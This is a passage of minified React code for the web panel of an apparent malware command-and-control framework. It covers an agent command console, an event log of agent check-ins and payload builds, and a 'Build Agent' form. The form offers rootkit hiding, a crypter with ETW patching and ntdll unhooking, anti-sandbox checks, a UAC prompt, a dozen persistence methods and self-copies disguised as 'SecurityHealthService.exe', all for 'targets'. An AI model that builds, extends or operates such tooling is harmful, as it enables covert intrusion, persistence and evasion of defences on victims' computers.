px-1",children:Y}),a.jsxs("form",{onSubmit:we,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:R=>g(R.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5 text-zerin-text font-mono text-sm placeholder-zerin-text-muted focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium px-4 py-1.5 disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(M5,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>I(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>A(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:R=>R.stopPropagation(),children:[a.jsxs("button",{onClick:()=>A(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim hover:text-zerin-text text-sm transition-colors px-2 py-1 hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:` px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} `,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Am({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const oS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},F2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},pV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function hV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await QE();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(vd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(W2,{label:"All",active:i==="all",onClick:()=>s("all")}),pV.map(p=>a.jsx(W2,{label:oS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&a.jsx("button",{onClick:()=>s("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),a.jsx("div",{children:d.map((p,h)=>a.jsx(xV,{event:p,expanded:o===p.id,onToggle:()=>l(o===p.id?null:p.id)},p.id||h))})]})]})}function xV({event:e,expanded:t,onToggle:n}){const r=F2[e.severity]||F2.info,i=e.details&&Object.keys(e.details).length>0;return a.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[a.jsx("div",{children:a.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:oS[e.type]||e.type})}),a.jsx("div",{className:"min-w-0",children:a.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:lA(e.timestamp)})})]}),t&&i&&a.jsx("div",{className:"px-4 pb-3",children:a.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[a.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),a.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([s,o])=>a.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[a.jsxs("span",{className:"text-zerin-text-muted",children:[s,":"]}),a.jsx("span",{className:"text-zerin-text",children:String(o)})]},s))})]})})]})}function W2({label:e,active:t,onClick:n}){return a.jsx("button",{onClick:n,className:` px-3 py-1 text-xs font-medium border transition-all duration-150 ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} `,children:e})}const U2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function V2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const H2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],vV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function gV(){const{isAdmin:e}=ya(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(!1),[l,c]=m.useState(0),[u,d]=m.useState(0),[f,p]=m.useState(""),[h,x]=m.useState(""),g=m.useSyncExternalStore(_5,E5),y=g.status==="building",[v,b]=m.useState(V2),[w,j]=m.useState([""]),[N,z]=m.useState("30"),[k,S]=m.useState("25"),[A,_]=m.useState(""),[O,P]=m.useState(U2),[I,Y]=m.useState(!1),[D,M]=m.useState("exe"),[W,$]=m.useState(0),[H,F]=m.useState(!0),[K,Z]=m.useState(!0),[oe,de]=m.useState(!0),[be,ye]=m.useState(!0),[G,te]=m.useState(1),[C,q]=m.useState("Microsoft\\WindowsUpdate"),[ne,B]=m.useState("SecurityHealthService.exe"),[le,we]=m.useState(null),Ne=m.useCallback(async()=>{try{const V=await t_();n(V)}catch{}finally{i(!1)}},[]);m.useEffect(()=>{Ne(),n_().then(V=>{j(ae=>ae.length===1&&ae[0]===""?[V.default_callback_url]:ae)}).catch(()=>{})},[Ne]),m.useEffect(()=>{if(!y||!g.startedAt){c(0),d(0);return}const V=setInterval(()=>{const U=Math.floor((Date.now()-g.startedAt)/1e3);d(U);const Q=Math.min(95,Math.floor(100*(1-Math.exp(-U/50))));c(Q)},500),ae=Math.floor((Date.now()-g.startedAt)/1e3);return d(ae),c(Math.min(95,Math.floor(100*(1-Math.exp(-ae/50))))),()=>clearInterval(V)},[y,g.startedAt]),m.useEffect(()=>{y&&o(!0)},[]),m.useEffect(()=>{g.status==="success"?(x(`Payload "${g.payloadName}" built successfully`),o(!1),ay(),Ne()):g.status==="error"&&(p(g.error||"Failed to build payload"),ay())},[g.status]),m.useEffect(()=>{if(!h)return;const V=setTimeout(()=>x(""),4e3);return()=>clearTimeout(V)},[h]);function Ae(){b(V2()),z("30"),S("25"),_(""),P(U2),Y(!1),M("exe"),$(0),F(!0),Z(!0),de(!0),ye(!0),te(1),q("Microsoft\\WindowsUpdate"),B("SecurityHealthService.exe")}async function R(V){V.preventDefault(),p("");const ae=w.filter(he=>he.trim()!=="");let U=0;A&&(U=Math.floor(new Date(A).getTime()/1e3));const Q={name:v.trim(),callback_urls:ae,sleep_interval:parseInt(N,10)||30,jitter_percent:parseInt(k,10)||25,kill_date:U,user_agent:O.trim(),output_format:D,debug:I,persist_methods:W||void 0,rootkit_enabled:H,encryption_enabled:K,anti_vm:oe,auto_elevate:be,install_dir:G,install_subdir:C,install_filename:ne};K_(Q.name);try{await e_(Q),Y_(),Ae()}catch(he){he instanceof bi?iy(he.message):iy("Failed to build payload")}}async function fe(V){const ae=st();if(!ae){p("Not authenticated");return}try{const U=await fetch(`/api/payloads/${V.payload_id}/download`,{headers:{Authorization:`Bearer ${ae}`}});if(!U.ok){p("Download failed");return}const Q=await U.blob(),he=URL.createObjectURL(Q),E=document.createElement("a");E.href=he;const ce=U.headers.get("content-disposition"),J=ce==null?void 0:ce.match(/filename="(.+?)"/);E.download=(J==null?void 0:J[1])||`${V.name||"payload"}.exe`,document.body.appendChild(E),E.click(),document.body.removeChild(E),URL.revokeObjectURL(he)}catch{p("Download failed")}}async function ve(V){try{await r_(V),we(null),Ne()}catch{p("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),a.jsx("button",{onClick:()=>{o(!s),p("")},className:` text-sm font-medium px-4 py-2 transition-all duration-150 ${s?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} `,children:s?"Cancel":"+ Build Agent"})]}),h&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:h}),s&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),f&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:f}),a.jsxs("form",{onSubmit:R,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(ir,{label:"Payload Name",children:a.jsx("input",{type:"text",value:v,onChange:V=>b(V.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})}),a.jsx(ir,{label:"Output Format",children:a.jsxs("select",{value:D,onChange:V=>{const ae=V.target.value;M(ae),ae==="exe"&&$(U=>U&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(ir,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:N,onChange:V=>z(V.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200\r [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(ir,{label:`Jitter (${k}%)`,children:a.jsx("input",{type:"range",value:k,onChange:V=>S(V.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(ir,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:A,onChange:V=>_(V.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200\r [color-scheme:dark]`})})]}),a.jsx(ir,{label:"User Agent",children:a.jsx("input",{type:"text",value:O,onChange:V=>P(V.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})}),e&&a.jsx(ir,{label:"Callback URLs",children:a.jsxs("div",{className:"space-y-2",children:[w.map((V,ae)=>a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{type:"text",value:V,onChange:U=>{const Q=[...w];Q[ae]=U.target.value,j(Q)},placeholder:"https://1.2.3.4:8443",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`}),w.length>1&&a.jsx("button",{type:"button",onClick:()=>j(w.filter((U,Q)=>Q!==ae)),className:"px-2 text-zerin-text-muted hover:text-zerin-danger transition-colors",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},ae)),a.jsx("button",{type:"button",onClick:()=>j([...w,""]),className:"text-xs text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"+ Add URL"})]})}),a.jsx(ir,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:vV.map(V=>{const ae=V.dllOnly&&D==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors ${ae?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(W&V.flag)!==0,disabled:ae,onChange:U=>{$(U.target.checked?W|V.flag:W&~V.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:V.label}),V.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),ae&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},V.flag)})})}),a.jsx(ir,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:G,onChange:V=>te(parseInt(V.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:C,onChange:V=>q(V.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:ne,onChange:V=>B(V.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})]})]})}),a.jsxs(ir,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:H,onChange:V=>F(V.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:K,onChange:V=>Z(V.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 ${K?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:oe,disabled:!K,onChange:V=>de(V.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:be,onChange:V=>ye(V.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>Y(!I),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer ${I?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 ${I?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{o(!1),p("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:y,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r px-5 py-2 transition-all duration-150\r disabled:opacity-50 disabled:cursor-not-allowed\r flex items-center gap-2`,children:[y&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),y?"Building...":"Build"]})]}),y&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(H2.filter(V=>V.at<=l).pop()??H2[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[u,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${l}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):t.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!s&&a.jsx("button",{onClick:()=>o(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:t.map(V=>{let ae={};try{ae=JSON.parse(V.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[a.jsx("div",{children:a.jsx("span",{className:"text-sm font-medium text-zerin-text",children:V.name})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[ae.sleep_interval??"—","s"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[ae.jitter_percent??"—","%"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:V.agent_pubkey,children:[(V.agent_pubkey??"").slice(0,16),"..."]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-dim",children:V.built_by})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:Mo(V.built_at)})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:Tp(V.file_size)})}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>fe(V),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 